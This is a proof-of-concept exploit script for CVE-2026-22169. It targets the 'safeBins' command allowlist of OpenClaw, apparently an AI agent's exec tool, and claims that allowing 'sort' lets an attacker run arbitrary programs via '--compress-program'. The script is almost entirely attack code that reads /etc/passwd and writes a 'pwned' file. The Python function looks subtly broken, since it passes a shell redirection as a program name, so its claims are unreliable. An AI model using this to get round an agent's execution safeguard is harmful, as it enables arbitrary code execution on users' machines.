CVE-2026-22169

# CVE-2026-22169 PoC - OpenClaw safeBins Bypass # Configuration to trigger the vulnerability import json # Malicious configuration that bypasses safeBins poc_config = { "tools": { "exec": { "safeBins": ["sort", "grep", "awk"] } } } # Exploit using compress-program parameter # When sort is in safeBins, attacker can specify arbitrary program # through compress-program option exploit_payload = ''' # Attacker controlled configuration # Target: OpenClaw < 2026.2.22 # Step 1: Configure safeBins to include sort tools.exec.safeBins = ["sort"] # Step 2: Exploit compress-program to execute arbitrary code sort --compress-program=/tmp/malicious_binary input.txt # The malicious binary at /tmp/malicious_binary will be executed # instead of the expected sort operation ''' # Python exploitation example def exploit_compress_program(): """ Exploit CVE-2026-22169 by leveraging compress-program parameter when sort is in safeBins configuration """ import subprocess # Create malicious payload malicious_cmd = "id > /tmp/pwned.txt" # Trigger the vulnerability through compress-program # This bypasses safeBins restrictions exploit_cmd = [ "sort", "--compress-program=" + malicious_cmd, "/etc/passwd" ] try: result = subprocess.run(exploit_cmd, capture_output=True, timeout=5) print(f"Exploit executed: {result.returncode}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit_compress_program()

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